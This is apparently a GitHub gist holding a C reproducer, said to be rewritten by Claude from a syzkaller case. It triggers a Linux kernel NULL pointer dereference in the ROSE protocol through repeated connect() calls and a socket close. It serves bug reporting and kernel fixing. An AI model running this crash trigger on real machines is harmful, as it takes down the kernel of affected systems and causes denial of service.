Skip to content

Instantly share code, notes, and snippets.

@mrpre
Last active March 10, 2026 09:52
Show Gist options
  • Select an option

  • Save mrpre/9e6779e0d13e2c66779b1653fef80516 to your computer and use it in GitHub Desktop.

Select an option

Save mrpre/9e6779e0d13e2c66779b1653fef80516 to your computer and use it in GitHub Desktop.
This file is a complete rewrite by Claude based on the original reproducer.
// Reproducer for ROSE NULL pointer dereference in rose_transmit_link()
//
// Bug: rose_connect() can leave rose->state = ROSE_STATE_1 while
// rose->neighbour = NULL when a second connect() fails at rose_get_neigh().
// When the socket is closed, rose_release() sees ROSE_STATE_1 and calls
// rose_write_internal() -> rose_transmit_link(skb, NULL) -> crash.
//
// Requirements: CONFIG_ROSE, CONFIG_AX25, CONFIG_BPQETHER (or other AX.25 device)
// Run as root.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <net/if.h>
#include <net/if_arp.h>
/* ROSE / AX.25 constants */
#ifndef AF_ROSE
#define AF_ROSE 11
#endif
#ifndef SOCK_SEQPACKET
#define SOCK_SEQPACKET 5
#endif
#define SIOCADDRT 0x890B
#define ROSE_ADDR_LEN 5
#define AX25_ADDR_LEN 7
#define AX25_MAX_DIGIS 8
typedef struct {
char ax25_call[AX25_ADDR_LEN];
} ax25_address;
typedef struct {
char rose_addr[ROSE_ADDR_LEN];
} rose_address;
struct rose_route_struct {
rose_address address;
unsigned short mask;
ax25_address neighbour;
char device[16];
unsigned char ndigis;
ax25_address digipeaters[AX25_MAX_DIGIS];
};
struct sockaddr_rose {
unsigned short srose_family;
rose_address srose_addr;
ax25_address srose_call;
int srose_ndigis;
ax25_address srose_digi;
};
static void load_module(const char *mod)
{
char cmd[256];
snprintf(cmd, sizeof(cmd), "modprobe %s 2>/dev/null", mod);
system(cmd);
}
int main(void)
{
int rose_fd, rose_fd2, ret;
struct rose_route_struct route;
struct sockaddr_rose addr;
printf("[*] ROSE NULL deref reproducer\n");
printf("[*] Bug: rose_connect() reconnect leaves state=1 with neighbour=NULL\n\n");
/* Step 1: Load required modules */
printf("[+] Loading kernel modules...\n");
load_module("rose");
load_module("ax25");
load_module("dummy");
load_module("bpq");
/* Step 2: Create dummy0 and bring up bpq0 */
printf("[+] Setting up bpq0 AX.25 device...\n");
system("ip link add dummy0 type dummy 2>/dev/null");
system("ip link set dummy0 up");
usleep(100000);
/* Loading bpq module auto-creates bpq0 on top of existing ethernets */
if (system("ip link set bpq0 up 2>/dev/null") != 0) {
fprintf(stderr, "[-] bpq0 not found. Ensure CONFIG_BPQ and "
"CONFIG_DUMMY are enabled.\n");
return 1;
}
/* Step 3: Create a ROSE socket to add routes */
printf("[+] Creating ROSE socket for route setup...\n");
rose_fd = socket(AF_ROSE, SOCK_SEQPACKET, 0);
if (rose_fd < 0) {
perror("[-] socket(AF_ROSE)");
return 1;
}
/* Step 4: Add a ROSE route via bpq0 */
printf("[+] Adding ROSE route...\n");
memset(&route, 0, sizeof(route));
memset(route.address.rose_addr, 0xcc, ROSE_ADDR_LEN);
route.address.rose_addr[4] = 0x03;
route.mask = 6;
/* Neighbour callsign (AX.25 shifted encoding) */
route.neighbour.ax25_call[0] = 0xa2;
route.neighbour.ax25_call[1] = 0xa6;
route.neighbour.ax25_call[2] = 0xa8;
route.neighbour.ax25_call[3] = 0x40;
route.neighbour.ax25_call[4] = 0x40;
route.neighbour.ax25_call[5] = 0x40;
route.neighbour.ax25_call[6] = 0x00;
strncpy(route.device, "bpq0", sizeof(route.device));
route.ndigis = 5;
/* Digipeater entries (from syzkaller repro) */
route.digipeaters[0].ax25_call[0] = 0xbb;
route.digipeaters[0].ax25_call[1] = 0xbb;
route.digipeaters[0].ax25_call[2] = 0xbb;
route.digipeaters[0].ax25_call[3] = 0x01;
memset(&route.digipeaters[1].ax25_call, 0x40, 6);
route.digipeaters[2].ax25_call[0] = 0xbb;
route.digipeaters[2].ax25_call[1] = 0xbb;
route.digipeaters[2].ax25_call[2] = 0xbb;
route.digipeaters[2].ax25_call[3] = 0xbb;
route.digipeaters[2].ax25_call[4] = 0xbb;
memcpy(&route.digipeaters[3], &route.digipeaters[2],
sizeof(ax25_address));
route.digipeaters[4].ax25_call[0] = 0x98;
route.digipeaters[4].ax25_call[1] = 0x92;
route.digipeaters[4].ax25_call[2] = 0x9c;
route.digipeaters[4].ax25_call[3] = 0xaa;
route.digipeaters[4].ax25_call[4] = 0xb0;
route.digipeaters[4].ax25_call[5] = 0x40;
route.digipeaters[4].ax25_call[6] = 0x02;
ret = ioctl(rose_fd, SIOCADDRT, &route);
if (ret < 0) {
perror("[-] ioctl(SIOCADDRT)");
fprintf(stderr, " Route add failed\n");
} else {
printf("[+] ROSE route added successfully\n");
}
/* Step 5: Create the socket that will trigger the bug */
printf("[+] Creating ROSE socket for connect...\n");
rose_fd2 = socket(AF_ROSE, SOCK_SEQPACKET, 0);
if (rose_fd2 < 0) {
perror("[-] socket(AF_ROSE) #2");
close(rose_fd);
return 1;
}
/* Non-blocking so connect returns -EINPROGRESS immediately */
fcntl(rose_fd2, F_SETFL, O_NONBLOCK);
/*
* Step 6: First connect - finds the neighbour via the route.
* Sets rose->state = ROSE_STATE_1, rose->neighbour = neigh.
* Also calls rose_transmit_link() which starts the link setup
* and eventually starts the failure timer (ftimer).
*/
printf("[+] First connect (sets state=1, neighbour=neigh)...\n");
memset(&addr, 0, sizeof(addr));
addr.srose_family = AF_ROSE;
addr.srose_addr.rose_addr[0] = 0xcc;
addr.srose_addr.rose_addr[1] = 0xcc;
addr.srose_addr.rose_addr[2] = 0xcc;
addr.srose_addr.rose_addr[3] = 0xcc;
addr.srose_addr.rose_addr[4] = 0x02;
addr.srose_call.ax25_call[0] = 0xbb;
addr.srose_call.ax25_call[1] = 0xbb;
addr.srose_call.ax25_call[2] = 0xbb;
addr.srose_call.ax25_call[3] = 0x01;
addr.srose_ndigis = 1;
memset(&addr.srose_digi.ax25_call, 0x40, 6);
ret = connect(rose_fd2, (struct sockaddr *)&addr, sizeof(addr));
printf(" connect #1: ret=%d errno=%d (%s)\n",
ret, errno, strerror(errno));
/*
* Wait for the failure timer (ftimer) to start. After the first
* connect calls rose_transmit_link -> rose_link_up fails ->
* ax25 link setup fails -> t1 timer fires -> ftimer starts.
* Once ftimer is running, rose_get_neigh skips this neighbour.
*/
printf("[+] Waiting for ftimer to start (200ms)...\n");
usleep(200000);
/*
* Step 7: Second connect - rose_get_neigh() returns NULL because:
* - neigh->restarted == 0 (no peer response)
* - rose_ftimer_running(neigh) == true
* This overwrites rose->neighbour with NULL but does NOT reset
* rose->state (still ROSE_STATE_1)!
*/
printf("[+] Second connect (should fail, leaving state=1 + neighbour=NULL)...\n");
memset(&addr, 0, sizeof(addr));
addr.srose_family = AF_ROSE;
addr.srose_addr.rose_addr[0] = 0xcc;
addr.srose_addr.rose_addr[1] = 0xcc;
addr.srose_addr.rose_addr[2] = 0xcc;
addr.srose_addr.rose_addr[3] = 0xcc;
addr.srose_addr.rose_addr[4] = 0x01;
addr.srose_call.ax25_call[0] = 0xcc;
addr.srose_call.ax25_call[1] = 0xcc;
addr.srose_call.ax25_call[2] = 0xcc;
addr.srose_call.ax25_call[3] = 0xcc;
addr.srose_call.ax25_call[4] = 0xcc;
addr.srose_call.ax25_call[5] = 0xcc;
addr.srose_call.ax25_call[6] = 0x01;
addr.srose_ndigis = 1;
memset(&addr.srose_digi.ax25_call, 0x40, 6);
ret = connect(rose_fd2, (struct sockaddr *)&addr, sizeof(addr));
printf(" connect #2: ret=%d errno=%d (%s)\n",
ret, errno, strerror(errno));
/* Step 8: Third connect (extra attempt from syzkaller repro) */
printf("[+] Third connect...\n");
memset(&addr, 0, sizeof(addr));
addr.srose_family = AF_ROSE;
addr.srose_addr.rose_addr[0] = 0xbb;
addr.srose_addr.rose_addr[1] = 0xbb;
addr.srose_addr.rose_addr[2] = 0xbb;
addr.srose_addr.rose_addr[3] = 0x01;
addr.srose_call.ax25_call[0] = 0xbb;
addr.srose_call.ax25_call[1] = 0xbb;
addr.srose_call.ax25_call[2] = 0xbb;
addr.srose_call.ax25_call[3] = 0xbb;
addr.srose_call.ax25_call[4] = 0xbb;
addr.srose_ndigis = 1;
memset(&addr.srose_digi.ax25_call, 0x40, 6);
ret = connect(rose_fd2, (struct sockaddr *)&addr, sizeof(addr));
printf(" connect #3: ret=%d errno=%d (%s)\n",
ret, errno, strerror(errno));
/*
* Step 9: Close the socket -> triggers rose_release().
* If rose->state == ROSE_STATE_1 && rose->neighbour == NULL:
* rose_release -> rose_write_internal(sk, ROSE_CLEAR_REQUEST)
* -> rose_transmit_link(skb, NULL) -> NULL->loopback -> CRASH!
*/
printf("[+] Closing socket (triggers rose_release -> crash if vulnerable)...\n");
close(rose_fd2);
close(rose_fd);
printf("[*] No crash - the bug was not triggered or kernel is patched.\n");
printf(" If ftimer didn't start in time, try increasing the delay.\n");
system("ip link set bpq0 down 2>/dev/null");
system("ip link del dummy0 2>/dev/null");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment